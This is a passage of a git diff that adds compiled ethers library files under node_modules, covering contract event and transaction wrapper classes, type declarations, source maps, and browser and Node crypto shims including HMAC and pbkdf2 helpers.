fragment: EventFragment; + /** + * Returns the fragment constrained by %%args%%. This can be used to + * resolve ambiguous event names. + */ + getFragment(...args: ContractEventArgs): EventFragment; +} +/** + * A Fallback or Receive function on a Contract. + */ +export interface WrappedFallback { + (overrides?: Omit): Promise; + /** + * Returns a populated transaction that can be used to perform the + * fallback method. + * + * For non-receive fallback, ``data`` may be overridden. + */ + populateTransaction(overrides?: Omit): Promise; + /** + * Call the contract fallback and return the result. + * + * For non-receive fallback, ``data`` may be overridden. + */ + staticCall(overrides?: Omit): Promise; + /** + * Send a transaction to the contract fallback. + * + * For non-receive fallback, ``data`` may be overridden. + */ + send(overrides?: Omit): Promise; + /** + * Estimate the gas to send a transaction to the contract fallback. + * + * For non-receive fallback, ``data`` may be overridden. + */ + estimateGas(overrides?: Omit): Promise; +} +//# sourceMappingURL=types.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/types.d.ts.map b/node_modules/ethers/lib.commonjs/contract/types.d.ts.map new file mode 100644 index 000000000000..918f46cb8804 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/types.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"types.d.ts","sourceRoot":"","sources":["../../src.ts/contract/types.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EACR,aAAa,EAAE,gBAAgB,EAAE,MAAM,EAAE,KAAK,EACjD,MAAM,iBAAiB,CAAC;AACzB,OAAO,KAAK,EACR,kBAAkB,EAAE,0BAA0B,EAAE,WAAW,EAC9D,MAAM,uBAAuB,CAAC;AAE/B,OAAO,KAAK,EAAE,2BAA2B,EAAE,MAAM,eAAe,CAAC;AAGjE;;;;;;;;;;;;;;;;;;;GAmBG;AACH,MAAM,MAAM,iBAAiB,GAAG,MAAM,GAAG,aAAa,GAAG,WAAW,GAAG,mBAAmB,CAAC;AAE3F;;GAEG;AACH,MAAM,WAAW,iBAAiB;IAC9B,CAAE,IAAI,EAAE,MAAM,GAAI,kBAAkB,CAAC;CACxC;AAED;;GAEG;AACH,MAAM,WAAW,mBAAmB;IAChC,cAAc,IAAI,OAAO,CAAC,WAAW,CAAC,CAAC;IACvC,QAAQ,EAAE,aAAa,CAAC;CAC3B;AAED;;GAEG;AACH,MAAM,WAAW,mBAAoB,SAAQ,0BAA0B;IACnE;;OAEG;IACH,EAAE,EAAE,MAAM,CAAC;IAEX;;OAEG;IACH,IAAI,EAAE,MAAM,CAAC;IAEb;;OAEG;IACH,IAAI,CAAC,EAAE,MAAM,CAAC;CACjB;AAED;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;;;OAGG;IACH,QAAQ,EAAE,aAAa,CAAC;IAExB;;;OAGG;IACH,WAAW,CAAC,GAAG,IAAI,EAAE,iBAAiB,CAAC,CAAC,CAAC,GAAG,aAAa,CAAC;CAC7D;AAED;;GAEG;AACH,MAAM,WAAW,eAAe;IAC5B,CAAC,SAAS,CAAC,EAAE,IAAI,CAAC,kBAAkB,EAAE,IAAI,CAAC,GAAG,OAAO,CAAC,2BAA2B,CAAC,CAAC;IAEnF;;;;;OAKG;IACH,mBAAmB,CAAC,SAAS,CAAC,EAAE,IAAI,CAAC,kBAAkB,EAAE,IAAI,CAAC,GAAG,OAAO,CAAC,mBAAmB,CAAC,CAAC;IAE9F;;;;OAIG;IACH,UAAU,CAAC,SAAS,CAAC,EAAE,IAAI,CAAC,kBAAkB,EAAE,IAAI,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC;IAExE;;;;OAIG;IACH,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,CAAC,kBAAkB,EAAE,IAAI,CAAC,GAAG,OAAO,CAAC,2BAA2B,CAAC,CAAC;IAEvF;;;;OAIG;IACH,WAAW,CAAC,SAAS,CAAC,EAAE,IAAI,CAAC,kBAAkB,EAAE,IAAI,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC;CAC5E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/types.js b/node_modules/ethers/lib.commonjs/contract/types.js new file mode 100644 index 000000000000..c1325264f933 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/types.js @@ -0,0 +1,6 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +; +; +; +//# sourceMappingURL=types.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/types.js.map b/node_modules/ethers/lib.commonjs/contract/types.js.map new file mode 100644 index 000000000000..8f8455d72145 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/types.js.map @@ -0,0 +1 @@ +{"version":3,"file":"types.js","sourceRoot":"","sources":["../../src.ts/contract/types.ts"],"names":[],"mappings":";;AAqCC,CAAC;AAsC4E,CAAC;AA4H9E,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/wrappers.d.ts b/node_modules/ethers/lib.commonjs/contract/wrappers.d.ts new file mode 100644 index 000000000000..90f9e1ea1076 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/wrappers.d.ts @@ -0,0 +1,143 @@ +import { Block, Log, TransactionReceipt, TransactionResponse } from "../providers/provider.js"; +import { EventPayload } from "../utils/index.js"; +import type { EventFragment, Interface, Result } from "../abi/index.js"; +import type { Listener } from "../utils/index.js"; +import type { Provider } from "../providers/index.js"; +import type { BaseContract } from "./contract.js"; +import type { ContractEventName } from "./types.js"; +/** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ +export declare class EventLog extends Log { + /** + * The Contract Interface. + */ + readonly interface: Interface; + /** + * The matching event. + */ + readonly fragment: EventFragment; + /** + * The parsed arguments passed to the event by ``emit``. + */ + readonly args: Result; + /** + * @_ignore: + */ + constructor(log: Log, iface: Interface, fragment: EventFragment); + /** + * The name of the event. + */ + get eventName(): string; + /** + * The signature of the event. + */ + get eventSignature(): string; +} +/** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ +export declare class UndecodedEventLog extends Log { + /** + * The error encounted when trying to decode the log. + */ + readonly error: Error; + /** + * @_ignore: + */ + constructor(log: Log, error: Error); +} +/** + * A **ContractTransactionReceipt** includes the parsed logs from a + * [[TransactionReceipt]]. + */ +export declare class ContractTransactionReceipt extends TransactionReceipt { + #private; + /** + * @_ignore: + */ + constructor(iface: Interface, provider: Provider, tx: TransactionReceipt); + /** + * The parsed logs for any [[Log]] which has a matching event in the + * Contract ABI. + */ + get logs(): Array; +} +/** + * A **ContractTransactionResponse** will return a + * [[ContractTransactionReceipt]] when waited on. + */ +export declare class ContractTransactionResponse extends TransactionResponse { + #private; + /** + * @_ignore: + */ + constructor(iface: Interface, provider: Provider, tx: TransactionResponse); + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + wait(confirms?: number, timeout?: number): Promise; +} +/** + * A **ContractUnknownEventPayload** is included as the last parameter to + * Contract Events when the event does not match any events in the ABI. + */ +export declare class ContractUnknownEventPayload extends EventPayload { + /** + * The log with no matching events. + */ + readonly log: Log; + /** + * @_event: + */ + constructor(contract: BaseContract, listener: null | Listener, filter: ContractEventName, log: Log); + /** + * Resolves to the block the event occured in. + */ + getBlock(): Promise; + /** + * Resolves to the transaction the event occured in. + */ + getTransaction(): Promise; + /** + * Resolves to the transaction receipt the event occured in. + */ + getTransactionReceipt(): Promise; +} +/** + * A **ContractEventPayload** is included as the last parameter to + * Contract Events when the event is known. + */ +export declare class ContractEventPayload extends ContractUnknownEventPayload { + /** + * The matching event. + */ + readonly fragment: EventFragment; + /** + * The log, with parsed properties. + */ + readonly log: EventLog; + /** + * The parsed arguments passed to the event by ``emit``. + */ + readonly args: Result; + /** + * @_ignore: + */ + constructor(contract: BaseContract, listener: null | Listener, filter: ContractEventName, fragment: EventFragment, _log: Log); + /** + * The event name. + */ + get eventName(): string; + /** + * The event signature. + */ + get eventSignature(): string; +} +//# sourceMappingURL=wrappers.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/wrappers.d.ts.map b/node_modules/ethers/lib.commonjs/contract/wrappers.d.ts.map new file mode 100644 index 000000000000..d17e816cc3ff --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/wrappers.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wrappers.d.ts","sourceRoot":"","sources":["../../src.ts/contract/wrappers.ts"],"names":[],"mappings":"AAEA,OAAO,EACH,KAAK,EAAE,GAAG,EAAE,kBAAkB,EAAE,mBAAmB,EACtD,MAAM,0BAA0B,CAAC;AAClC,OAAO,EAAoB,YAAY,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AS,EAAE,QAAQ,EAAE,QAAQ,EAAE,EAAE,EAAE,mBAAmB;IAKzE;;;;;;;;OAQG;IACG,IAAI,CAAC,QAAQ,CAAC,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,0BAA0B,CAAC;CAK9F;AAED;;;GAGG;AACH,qBAAc,2BAA4B,SAAQ,YAAY,CAAC,iBAAiB,CAAC;IAC7E;;OAEG;IACH,QAAQ,CAAC,GAAG,EAAG,GAAG,CAAC;IAEnB;;OAEG;gBACS,QAAQ,EAAE,YAAY,EAAE,QAAQ,EAAE,IAAI,GAAG,QAAQ,EAAE,MAAM,EAAE,iBAAiB,EAAE,GAAG,EAAE,GAAG;IAKlG;;OAEG;IACG,QAAQ,IAAI,OAAO,CAAC,KAAK,CAAC;IAIhC;;OAEG;IACG,cAAc,IAAI,OAAO,CAAC,mBAAmB,CAAC;IAIpD;;OAEG;IACG,qBAAqB,IAAI,OAAO,CAAC,kBAAkB,CAAC;CAG7D;AAED;;;GAGG;AACH,qBAAa,oBAAqB,SAAQ,2BAA2B;IAEjE;;OAEG;IACH,SAAiB,QAAQ,EAAE,aAAa,CAAC;IAEzC;;OAEG;IACH,SAAiB,GAAG,EAAE,QAAQ,CAAC;IAE/B;;OAEG;IACH,SAAiB,IAAI,EAAE,MAAM,CAAC;IAE9B;;OAEG;gBACS,QAAQ,EAAE,YAAY,EAAE,QAAQ,EAAE,IAAI,GAAG,QAAQ,EAAE,MAAM,EAAE,iBAAiB,EAAE,QAAQ,EAAE,aAAa,EAAE,IAAI,EAAE,GAAG;IAM5H;;OAEG;IACH,IAAI,SAAS,IAAI,MAAM,CAEtB;IAED;;OAEG;IACH,IAAI,cAAc,IAAI,MAAM,CAE3B;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/wrappers.js b/node_modules/ethers/lib.commonjs/contract/wrappers.js new file mode 100644 index 000000000000..7292050b86b4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/wrappers.js @@ -0,0 +1,186 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.ContractEventPayload = exports.ContractUnknownEventPayload = exports.ContractTransactionResponse = exports.ContractTransactionReceipt = exports.UndecodedEventLog = exports.EventLog = void 0; +// import from provider.ts instead of index.ts to prevent circular dep +// from EtherscanProvider +const provider_js_1 = require("../providers/provider.js"); +const index_js_1 = require("../utils/index.js"); +/** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ +class EventLog extends provider_js_1.Log { + /** + * The Contract Interface. + */ + interface; + /** + * The matching event. + */ + fragment; + /** + * The parsed arguments passed to the event by ``emit``. + */ + args; + /** + * @_ignore: + */ + constructor(log, iface, fragment) { + super(log, log.provider); + const args = iface.decodeEventLog(fragment, log.data, log.topics); + (0, index_js_1.defineProperties)(this, { args, fragment, interface: iface }); + } + /** + * The name of the event. + */ + get eventName() { return this.fragment.name; } + /** + * The signature of the event. + */ + get eventSignature() { return this.fragment.format(); } +} +exports.EventLog = EventLog; +/** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ +class UndecodedEventLog extends provider_js_1.Log { + /** + * The error encounted when trying to decode the log. + */ + error; + /** + * @_ignore: + */ + constructor(log, error) { + super(log, log.provider); + (0, index_js_1.defineProperties)(this, { error }); + } +} +exports.UndecodedEventLog = UndecodedEventLog; +/** + * A **ContractTransactionReceipt** includes the parsed logs from a + * [[TransactionReceipt]]. + */ +class ContractTransactionReceipt extends provider_js_1.TransactionReceipt { + #iface; + /** + * @_ignore: + */ + constructor(iface, provider, tx) { + super(tx, provider); + this.#iface = iface; + } + /** + * The parsed logs for any [[Log]] which has a matching event in the + * Contract ABI. + */ + get logs() { + return super.logs.map((log) => { + const fragment = log.topics.length ? this.#iface.getEvent(log.topics[0]) : null; + if (fragment) { + try { + return new EventLog(log, this.#iface, fragment); + } + catch (error) { + return new UndecodedEventLog(log, error); + } + } + return log; + }); + } +} +exports.ContractTransactionReceipt = ContractTransactionReceipt; +/** + * A **ContractTransactionResponse** will return a + * [[ContractTransactionReceipt]] when waited on. + */ +class ContractTransactionResponse extends provider_js_1.TransactionResponse { + #iface; + /** + * @_ignore: + */ + constructor(iface, provider, tx) { + super(tx, provider); + this.#iface = iface; + } + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + async wait(confirms, timeout) { + const receipt = await super.wait(confirms, timeout); + if (receipt == null) { + return null; + } + return new ContractTransactionReceipt(this.#iface, this.provider, receipt); + } +} +exports.ContractTransactionResponse = ContractTransactionResponse; +/** + * A **ContractUnknownEventPayload** is included as the last parameter to + * Contract Events when the event does not match any events in the ABI. + */ +class ContractUnknownEventPayload extends index_js_1.EventPayload { + /** + * The log with no matching events. + */ + log; + /** + * @_event: + */ + constructor(contract, listener, filter, log) { + super(contract, listener, filter); + (0, index_js_1.defineProperties)(this, { log }); + } + /** + * Resolves to the block the event occured in. + */ + async getBlock() { + return await this.log.getBlock(); + } + /** + * Resolves to the transaction the event occured in. + */ + async getTransaction() { + return await this.log.getTransaction(); + } + /** + * Resolves to the transaction receipt the event occured in. + */ + async getTransactionReceipt() { + return await this.log.getTransactionReceipt(); + } +} +exports.ContractUnknownEventPayload = ContractUnknownEventPayload; +/** + * A **ContractEventPayload** is included as the last parameter to + * Contract Events when the event is known. + */ +class ContractEventPayload extends ContractUnknownEventPayload { + /** + * @_ignore: + */ + constructor(contract, listener, filter, fragment, _log) { + super(contract, listener, filter, new EventLog(_log, contract.interface, fragment)); + const args = contract.interface.decodeEventLog(fragment, this.log.data, this.log.topics); + (0, index_js_1.defineProperties)(this, { args, fragment }); + } + /** + * The event name. + */ + get eventName() { + return this.fragment.name; + } + /** + * The event signature. + */ + get eventSignature() { + return this.fragment.format(); + } +} +exports.ContractEventPayload = ContractEventPayload; +//# sourceMappingURL=wrappers.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/wrappers.js.map b/node_modules/ethers/lib.commonjs/contract/wrappers.js.map new file mode 100644 index 000000000000..bb65d40aa04f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/wrappers.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wrappers.js","sourceRoot":"","sources":["../../src.ts/contract/wrappers.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,yBAAyB;AACzB,0DAEkC;AAClC,gDAAmE;AAWnE;;GAEG;AACH,MAAa,QAAS,SAAQ,iBAAG;IAC7B;;OAEG;IACM,SAAS,CAAa;IAE/B;;OAEG;IACM,QAAQ,CAAiB;IAElC;;OAEG;IACM,IAAI,CAAU;IAEvB;;OAEG;IACH,YAAY,GAAQ,EAAE,KAAgB,EAAE,QAAuB;QAC3D,KAAK,CAAC,GAAG,EAAE,GAAG,CAAC,QAAQ,CAAC,CAAC;QACzB,MAAM,IAAI,GAAG,KAAK,CAAC,cAAc,CAAC,QAAQ,EAAE,GAAG,CAAC,IAAI,EAAE,GAAG,CAAC,MAAM,CAAC,CAAC;QAClE,IAAA,2BAAgB,EAAW,IAAI,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE,SAAS,EAAE,KAAK,EAAE,CAAC,CAAC;IAC3E,CAAC;IAED;;OAEG;IACH,IAAI,SAAS,KAAa,OAAO,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC;IAEtD;;OAEG;IACH,IAAI,cAAc,KAAa,OAAO,IAAI,CAAC,QAAQ,CAAC,MAAM,EAAE,CAAC,CAAC,CAAC;CAClE;AAlCD,4BAkCC;AAED;;GAEG;AACH,MAAa,iBAAkB,SAAQ,iBAAG;IAEtC;;OAEG;IACM,KAAK,CAAS;IAEvB;;OAEG;IACH,YAAY,GAAQ,EAAE,KAAY;QAC9B,KAAK,CAAC,GAAG,EAAE,GAAG,CAAC,QAAQ,CAAC,CAAC;QACzB,IAAA,2BAAgB,EAAoB,IA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C,QAAQ,EAAE,IAAI,CAAC,GAAG,CAAC,IAAI,EAAE,IAAI,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC;QACzF,IAAA,2BAAgB,EAAuB,IAAI,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE,CAAC,CAAC;IACrE,CAAC;IAED;;OAEG;IACH,IAAI,SAAS;QACT,OAAO,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC;IAC9B,CAAC;IAED;;OAEG;IACH,IAAI,cAAc;QACd,OAAO,IAAI,CAAC,QAAQ,CAAC,MAAM,EAAE,CAAC;IAClC,CAAC;CACJ;AAvCD,oDAuCC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/crypto-browser.d.ts b/node_modules/ethers/lib.commonjs/crypto/crypto-browser.d.ts new file mode 100644 index 000000000000..ba0bbf193371 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/crypto-browser.d.ts @@ -0,0 +1,15 @@ +declare global { + interface Window { + } + const window: Window; + const self: Window; +} +export interface CryptoHasher { + update(data: Uint8Array): CryptoHasher; + digest(): Uint8Array; +} +export declare function createHash(algo: string): CryptoHasher; +export declare function createHmac(_algo: string, key: Uint8Array): CryptoHasher; +export declare function pbkdf2Sync(password: Uint8Array, salt: Uint8Array, iterations: number, keylen: number, _algo: "sha256" | "sha512"): Uint8Array; +export declare function randomBytes(length: number): Uint8Array; +//# sourceMappingURL=crypto-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/crypto-browser.d.ts.map b/node_modules/ethers/lib.commonjs/crypto/crypto-browser.d.ts.map new file mode 100644 index 000000000000..b6950c785de8 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/crypto-browser.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"crypto-browser.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/crypto-browser.ts"],"names":[],"mappings":"AAUA,OAAO,CAAC,MAAM,CAAC;IACX,UAAU,MAAM;KAAI;IAEpB,MAAM,MAAM,EAAE,MAAM,CAAC;IACrB,MAAM,IAAI,EAAE,MAAM,CAAC;CACtB;AAcD,MAAM,WAAW,YAAY;IACzB,MAAM,CAAC,IAAI,EAAE,UAAU,GAAG,YAAY,CAAC;IACvC,MAAM,IAAI,UAAU,CAAC;CACxB;AAED,wBAAgB,UAAU,CAAC,IAAI,EAAE,MAAM,GAAG,YAAY,CAMrD;AAED,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,EAAE,GAAG,EAAE,UAAU,GAAG,YAAY,CAIvE;AAED,wBAAgB,UAAU,CAAC,QAAQ,EAAE,UAAU,EAAE,IAAI,EAAE,UAAU,EAAE,UAAU,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,KAAK,EAAE,QAAQ,GAAG,QAAQ,GAAG,UAAU,CAI7I;AAED,wBAAgB,WAAW,CAAC,MAAM,EAAE,MAAM,GAAG,UAAU,CAStD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/crypto-browser.js b/node_modules/ethers/lib.commonjs/crypto/crypto-browser.js new file mode 100644 index 000000000000..69e20e6c9d75 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/crypto-browser.js @@ -0,0 +1,55 @@ +"use strict"; +/* Browser Crypto Shims */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.randomBytes = exports.pbkdf2Sync = exports.createHmac = exports.createHash = void 0; +const hmac_1 = require("@noble/hashes/hmac"); +const pbkdf2_1 = require("@noble/hashes/pbkdf2"); +const sha256_1 = require("@noble/hashes/sha256"); +const sha512_1 = require("@noble/hashes/sha512"); +const index_js_1 = require("../utils/index.js"); +function getGlobal() { + if (typeof self !== 'undefined') { + return self; + } + if (typeof window !== 'undefined') { + return window; + } + if (typeof global !== 'undefined') { + return global; + } + throw new Error('unable to locate global object'); +} +; +const anyGlobal = getGlobal(); +const crypto = anyGlobal.crypto || anyGlobal.msCrypto; +function createHash(algo) { + switch (algo) { + case "sha256": return sha256_1.sha256.create(); + case "sha512": return sha512_1.sha512.create(); + } + (0, index_js_1.assertArgument)(false, "invalid hashing algorithm name", "algorithm", algo); +} +exports.createHash = createHash; +function createHmac(_algo, key) { + const algo = ({ sha256: sha256_1.sha256, sha512: sha512_1.sha512 }[_algo]); + (0, index_js_1.assertArgument)(algo != null, "invalid hmac algorithm", "algorithm", _algo); + return hmac_1.hmac.create(algo, key); +} +exports.createHmac = createHmac; +function pbkdf2Sync(password, salt, iterations, keylen, _algo) { + const algo = ({ sha256: sha256_1.sha256, sha512: sha512_1.sha512 }[_algo]); + (0, index_js_1.assertArgument)(algo != null, "invalid pbkdf2 algorithm", "algorithm", _algo); + return (0, pbkdf2_1.pbkdf2)(algo, password, salt, { c: iterations, dkLen: keylen }); +} +exports.pbkdf2Sync = pbkdf2Sync; +function randomBytes(length) { + (0, index_js_1.assert)(crypto != null, "platform does not support secure random numbers", "UNSUPPORTED_OPERATION", { + operation: "randomBytes" + }); + (0, index_js_1.assertArgument)(Number.isInteger(length) && length > 0 && length <= 1024, "invalid length", "length", length); + const result = new Uint8Array(length); + crypto.getRandomValues(result); + return result; +} +exports.randomBytes = randomBytes; +//# sourceMappingURL=crypto-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/crypto-browser.js.map b/node_modules/ethers/lib.commonjs/crypto/crypto-browser.js.map new file mode 100644 index 000000000000..1760c11d0122 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/crypto-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"crypto-browser.js","sourceRoot":"","sources":["../../src.ts/crypto/crypto-browser.ts"],"names":[],"mappings":";AAAA,0BAA0B;;;AAE1B,6CAA0C;AAC1C,iDAA8C;AAC9C,iDAA8C;AAC9C,iDAA8C;AAE9C,gDAA2D;AAW3D,SAAS,SAAS;IAChB,IAAI,OAAO,IAAI,KAAK,WAAW,EAAE;QAAE,OAAO,IAAI,CAAC;KAAE;IACjD,IAAI,OAAO,MAAM,KAAK,WAAW,EA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CAAC;IAC7E,OAAO,IAAA,eAAM,EAAC,IAAI,EAAE,QAAQ,EAAE,IAAI,EAAE,EAAE,CAAC,EAAE,UAAU,EAAE,KAAK,EAAE,MAAM,EAAE,CAAC,CAAC;AAC1E,CAAC;AAJD,gCAIC;AAED,SAAgB,WAAW,CAAC,MAAc;IACtC,IAAA,iBAAM,EAAC,MAAM,IAAI,IAAI,EAAE,iDAAiD,EAAE,uBAAuB,EAAE;QAC/F,SAAS,EAAE,aAAa;KAAE,CAAC,CAAC;IAEhC,IAAA,yBAAc,EAAC,MAAM,CAAC,SAAS,CAAC,MAAM,CAAC,IAAI,MAAM,GAAG,CAAC,IAAI,MAAM,IAAI,IAAI,EAAE,gBAAgB,EAAE,QAAQ,EAAE,MAAM,CAAC,CAAC;IAE7G,MAAM,MAAM,GAAG,IAAI,UAAU,CAAC,MAAM,CAAC,CAAC;IACtC,MAAM,CAAC,eAAe,CAAC,MAAM,CAAC,CAAC;IAC/B,OAAO,MAAM,CAAC;AAClB,CAAC;AATD,kCASC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/crypto.d.ts b/node_modules/ethers/lib.commonjs/crypto/crypto.d.ts new file mode 100644 index 000000000000..e9c555de6e30 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/crypto.d.ts @@ -0,0 +1,2 @@ +export { createHash, createHmac, pbkdf2Sync, randomBytes } from "crypto"; +//# sourceMappingURL=crypto.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/crypto.d.ts.map b/node_modules/ethers/lib.commonjs/crypto/crypto.d.ts.map new file mode 100644 index 000000000000..c417228d197e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/crypto.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"crypto.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/crypto.ts"],"names":[],"mappings":"AACA,OAAO,EACH,UAAU,EAAE,UAAU,EAAE,UAAU,EAAE,WAAW,EAClD,MAAM,QAAQ,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/crypto.js b/node_modules/ethers/lib.commonjs/crypto/crypto.js new file mode 100644 index 000000000000..31e54d522544 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/crypto.js @@ -0,0 +1,9 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.randomBytes = exports.pbkdf2Sync = exports.createHmac = exports.createHash = void 0; +var crypto_1 = require("crypto"); +Object.defineProperty(exports, "createHash", { enumerable: true, get: function () { return crypto_1.createHash; } }); +Object.defineProperty(exports, "createHmac", { enumerable: true, get: function () { return crypto_1.createHmac; } }); +Object.defineProperty(exports, "pbkdf2Sync", { enumerable: true, get: function () { return crypto_1.pbkdf2Sync; } }); +Object.defineProperty(exports, "randomBytes", { enumerable: true, get: function () { return crypto_1.randomBytes; } }); +//# sourceMappingURL=crypto.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/crypto.js.map b/node_modules/ethers/lib.commonjs/crypto/crypto.js.map new file mode 100644 index 000000000000..5978cca69ada --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/crypto.js.map @@ -0,0 +1 @@ +{"version":3,"file":"crypto.js","sourceRoot":"","sources":["../../src.ts/crypto/crypto.ts"],"names":[],"mappings":";;;AACA,iCAEgB;AADZ,oGAAA,UAAU,OAAA;AAAE,oGAAA,UAAU,OAAA;AAAE,oGAAA,UAAU,OAAA;AAAE,qGAAA,WAAW,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/hmac.d.ts b/node_modules/ethers/lib.commonjs/crypto/hmac.d.ts new file mode 100644 index 000000000000..4c5e3227d53f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/hmac.d.ts @@ -0,0 +1,25 @@ +import type { BytesLike } from "../utils/index.js"; +/** + * Return the HMAC for %%data%% using the %%key%% key with the underlying + * %%algo%% used for compression. + * + * @example: + * key = id("some-secret") + * + * // Compute the HMAC + * computeHmac("sha256", key, "0x1337") + * //_result: + * + * // To compute the HMAC of UTF-8 data, the data must be + * // converted to UTF-8 bytes + * computeHmac("sha256", key, toUtf8Bytes("Hello World")) + * //_result: + * + */ +export declare function computeHmac(algorithm: "sha256" | "sha512", _key: BytesLike, _data: BytesLike): string; +export declare namespace computeHmac { + var _: (algorithm: "sha256" | "sha512", key: Uint8Array, data: Uint8Array) => BytesLike; + var lock: () => void; + var register: (func: (algorithm: "sha256" | "sha512", key: Uint8Array, data: Uint8Array) => BytesLike) => void; +} +//# sourceMappingURL=hmac.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/hmac.d.ts.map b/node_modules/ethers/lib.commonjs/crypto/hmac.d.ts.map new file mode 100644 index 000000000000..aa56a49f2590 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/hmac.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"hmac.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/hmac.ts"],"names":[],"mappings":"AAWA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAWnD;;;;;;;;;;;;;;;;GAgBG;AACH,wBAAgB,WAAW,CAAC,SAAS,EAAE,QAAQ,GAAG,QAAQ,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,EAAE,SAAS,GAAG,MAAM,CAIrG;yBAJe,WAAW"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/hmac.js b/node_modules/ethers/lib.commonjs/crypto/hmac.js new file mode 100644 index 000000000000..a13ef9148b9e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/hmac.js @@ -0,0 +1,51 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.computeHmac = void 0; +/** + * An **HMAC** enables verification that a given key was used + * to authenticate a payload. + * + * See: [[link-wiki-hmac]] + * + * @_subsection: api/crypto:HMAC [about-hmac] + */ +const crypto_js_1 = require("./crypto.js"); +const index_js_1 = require("../utils/index.js"); +let locked = false; +const _computeHmac = function (algorithm, key, data) { + return (0, crypto_js_1.createHmac)(algorithm, key).update(data).digest(); +}; +let __computeHmac = _computeHmac; +/** + * Return the HMAC for %%data%% using the %%key%% key with the underlying + * %%algo%% used for compression. + * + * @example: + * key = id("some-secret") + * + * // Compute the HMAC + * computeHmac("sha256", key, "0x1337") + * //_result: + * + * // To compute the HMAC of UTF-8 data, the data must be + * // converted to UTF-8 bytes + * computeHmac("sha256", key, toUtf8Bytes("Hello World")) + * //_result: + * + */ +function computeHmac(algorithm, _key, _data) { + const key = (0, index_js_1.getBytes)(_key, "key"); + const data = (0, index_js_1.getBytes)(_data, "data"); + return (0, index_js_1.hexlify)(__computeHmac(algorithm, key, data)); +} +exports.computeHmac = computeHmac; +computeHmac._ = 